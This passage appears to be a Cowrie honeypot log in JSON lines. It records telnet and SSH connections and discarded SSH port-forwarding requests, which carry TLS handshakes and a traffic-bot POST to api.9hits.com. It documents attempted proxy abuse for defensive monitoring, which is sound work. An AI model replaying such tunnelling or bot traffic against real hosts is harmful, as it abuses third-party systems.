\\xc0N\\xdbq\\x89\\x0f\"\\xcb\\xacBC\\x8a\\x00\\xa4d\\xf7\\x9e\\x07\\x8f\\x8d\\xa26\\x9e3\\xe4\\x83\\x844-\\xdb\\x13\\xf6\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00  9\\x1e?\\xc8\\xf6\\x84\\x0f\\xe6\\x1a\\xde\\x85\\x1dF\\x98\\x9a\\tA_\\xf3V\\x01(\\x95^\\xa9r\\xd1\\x8e\\x7f\\xae\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:04.420188Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45684,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd746d58c00f","protocol":"telnet","message":"New connection: 128.199.8.54:45684 (159.203.135.109:23) [session: dd746d58c00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:05.580642Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:08.204102Z","src_ip":"14.103.113.53","session":"adc40786aff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.6","message":"Connection lost after 22.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:11.438068Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.706602Z","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.762205Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\xdf.\\xb1\\x87\\xb6\\xb2x{\\xe0p\\xba)Dg\\xd6\\x10P\\xc0\\xe1\\xbd\\xf8<\\xb7,\\xccS`\\xac\\xbeIB \\xf4\\xf7\\xe0#\\x1d\\xd3>\\n\\xeaT,\\xbc0\\xe6\\xce\\xdd\\xfa\\xff\\x8al\\xba\\xad\\xf3\\xa93\\xa6\\xc5\\xe3\\xd3\\xfb\\xa2h\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 .p\\xdd\\xef_R\\x95o\\xee\\xbc\\xd7\\xf5\\xa1\\xfd\\xec\\x8b\\xc5E\\xcc\\xdb\\x7fa\\n\\t\\xe7\\xdaa\\x81\\x18m\\x01J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\xdf.\\xb1\\x87\\xb6\\xb2x{\\xe0p\\xba)Dg\\xd6\\x10P\\xc0\\xe1\\xbd\\xf8<\\xb7,\\xccS`\\xac\\xbeIB \\xf4\\xf7\\xe0#\\x1d\\xd3>\\n\\xeaT,\\xbc0\\xe6\\xce\\xdd\\xfa\\xff\\x8al\\xba\\xad\\xf3\\xa93\\xa6\\xc5\\xe3\\xd3\\xfb\\xa2h\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 .p\\xdd\\xef_R\\x95o\\xee\\xbc\\xd7\\xf5\\xa1\\xfd\\xec\\x8b\\xc5E\\xcc\\xdb\\x7fa\\n\\t\\xe7\\xdaa\\x81\\x18m\\x01J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.770854Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.838018Z","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.906209Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd.\\x99\\x81\\x83r^}\\x11[y!\\xceM8\\xa2\\x07\\x19\\x97\\xff{)\\xf3\\'c&?\\xa5Z\\x89P\\xa9 p6%\\xd4&Z\\xbe\\xe8\\x10N\\x8a\\xe3\\x95/\\x83\\n\\x1fN\\x9ay\\xba\\r,Q\\x99\\x80\\xc1\\x1a0\\xeeZ\\x02\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 <\\xe9\\x16\\x0bn\\x90\\xf3\\xe5\\x91\\xf4\\x9cp\\xb5&@\\xf0\\x87\\xc9\\x04\\xf8\\xe8%\\x83\\xdb}\\x94U\\xcd\\x13\\x9c\\xe8\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd.\\x99\\x81\\x83r^}\\x11[y!\\xceM8\\xa2\\x07\\x19\\x97\\xff{)\\xf3\\'c&?\\xa5Z\\x89P\\xa9 p6%\\xd4&Z\\xbe\\xe8\\x10N\\x8a\\xe3\\x95/\\x83\\n\\x1fN\\x9ay\\xba\\r,Q\\x99\\x80\\xc1\\x1a0\\xeeZ\\x02\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 <\\xe9\\x16\\x0bn\\x90\\xf3\\xe5\\x91\\xf4\\x9cp\\xb5&@\\xf0\\x87\\xc9\\x04\\xf8\\xe8%\\x83\\xdb}\\x94U\\xcd\\x13\\x9c\\xe8\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:14.909336Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:15.264950Z","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:16.139879Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; itel P41 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0Q0JUFOVC9laGZJIVVkLw%3D%3DsJHAcwZk4xUb89hB3LsgBOMXssIzKaJmlKtJ0%2Fb%2FBLtci0BTiPh0gY6N7AqCl9BqpTU6lrDJzJ%2FJ3usX0uesj3nlsZEFB%2Fv71dCTPAYJaNuMZVKL0NjTbjl7v0BhTk0hrNwuCppajGu4jYhwzzzt7ioCQhVJwhWeseuOcrKMC3v3qQv2B2wQzaan4krvrWqMLMEWmPsNPppocF%2F1wXIXZT%2Fmj2EluzlwI1tf43ruK0Y8OyCRtbSd6KIaMbM4hulJD52E2WUIZH%2F%2BjYpzbrTc6t4OaPxbEgxX0h%2BaD5BfvJdbdZUCvJMrPOJu2zUYJcgAgxMJP7FFRtXa92eO%2FYwQWxJGnq4ICLOh5mktBsAARAJDhzYySj9nUgkisqM0Delpa2Sm0l00NlxicQ4EQSFMXVaSRt4Yj3IAtrY2ahCn8F0v9mRbZT%2Bj0RzMWIegyjLoNdEeev0SQrM%2B59%2FmEi2e4caG3%2FSZAk2HyWtUSMGSYRQfy%2BKmbQTSbo4Rbouj%2FPpsD09vY3QZIaKWidHjgziV6NxGKnPmT4%2BbuceABOeRBRy83vlrUA%2FxABWzhamJh8SPYGOwKPYh6vmVV7sFGJRERKeTEwGVINEd9eSd7lUqNlZX7L%2F8PrRV4e0%2BDKDXK%2FzxxH5YOizQ88SGYRj%2FYWq5Tj3JspfID4fu6bQKc%2F0Spgh9NERpg0A9KXoRmP91A53GAFLjiZ2VXzJ14TtmGH0Bq1nt5ZgxFClqarKOcJAWhp%2BphFSS96YEP5WyjI5E3fKIafSNMD%2FwgZqIb08kvFPJze026%2Bh3wqL7jVKn8B%2BYWGJE5Vocij4htkPvCII77FuMbx4Le%2BZYAus4c0FnWjpWmXKJ7zu3T0%2Bz%2FgbKzqpgtJEpwXszKlUMLdv%2F%2B7WAcgHcnMlVByW5pRWZMKNxl0XUCUtukOzFcznLJLjTolhhWuLQwu3tbjMWh8CIVJqycHcNANMagTPBy1NxQ%2FpnGqoFpQes%2FpDMkDNAUQB1g3naJ4ZK%2FqVRcjITWCWRHZEStwAVjZr3e9JmlyHeerzXNB7NUeSsOMw%2FyDYc2Ly71U6C4lFZ30ZI%2BD8QPs%2BsWRuIxV05'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; itel P41 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0Q0JUFOVC9laGZJIVVkLw%3D%3DsJHAcwZk4xUb89hB3LsgBOMXssIzKaJmlKtJ0%2Fb%2FBLtci0BTiPh0gY6N7AqCl9BqpTU6lrDJzJ%2FJ3usX0uesj3nlsZEFB%2Fv71dCTPAYJaNuMZVKL0NjTbjl7v0BhTk0hrNwuCppajGu4jYhwzzzt7ioCQhVJwhWeseuOcrKMC3v3qQv2B2wQzaan4krvrWqMLMEWmPsNPppocF%2F1wXIXZT%2Fmj2EluzlwI1tf43ruK0Y8OyCRtbSd6KIaMbM4hulJD52E2WUIZH%2F%2BjYpzbrTc6t4OaPxbEgxX0h%2BaD5BfvJdbdZUCvJMrPOJu2zUYJcgAgxMJP7FFRtXa92eO%2FYwQWxJGnq4ICLOh5mktBsAARAJDhzYySj9nUgkisqM0Delpa2Sm0l00NlxicQ4EQSFMXVaSRt4Yj3IAtrY2ahCn8F0v9mRbZT%2Bj0RzMWIegyjLoNdEeev0SQrM%2B59%2FmEi2e4caG3%2FSZAk2HyWtUSMGSYRQfy%2BKmbQTSbo4Rbouj%2FPpsD09vY3QZIaKWidHjgziV6NxGKnPmT4%2BbuceABOeRBRy83vlrUA%2FxABWzhamJh8SPYGOwKPYh6vmVV7sFGJRERKeTEwGVINEd9eSd7lUqNlZX7L%2F8PrRV4e0%2BDKDXK%2FzxxH5YOizQ88SGYRj%2FYWq5Tj3JspfID4fu6bQKc%2F0Spgh9NERpg0A9KXoRmP91A53GAFLjiZ2VXzJ14TtmGH0Bq1nt5ZgxFClqarKOcJAWhp%2BphFSS96YEP5WyjI5E3fKIafSNMD%2FwgZqIb08kvFPJze026%2Bh3wqL7jVKn8B%2BYWGJE5Vocij4htkPvCII77FuMbx4Le%2BZYAus4c0FnWjpWmXKJ7zu3T0%2Bz%2FgbKzqpgtJEpwXszKlUMLdv%2F%2B7WAcgHcnMlVByW5pRWZMKNxl0XUCUtukOzFcznLJLjTolhhWuLQwu3tbjMWh8CIVJqycHcNANMagTPBy1NxQ%2FpnGqoFpQes%2FpDMkDNAUQB1g3naJ4ZK%2FqVRcjITWCWRHZEStwAVjZr3e9JmlyHeerzXNB7NUeSsOMw%2FyDYc2Ly71U6C4lFZ30ZI%2BD8QPs%2BsWRuIxV05'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:16.142847Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36254,"dst_ip":"159.203.135.109","dst_port":23,"session":"9662288c4608","protocol":"telnet","message":"New connection: 172.81.62.90:36254 (159.203.135.109:23) [session: 9662288c4608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:17.507422Z"}
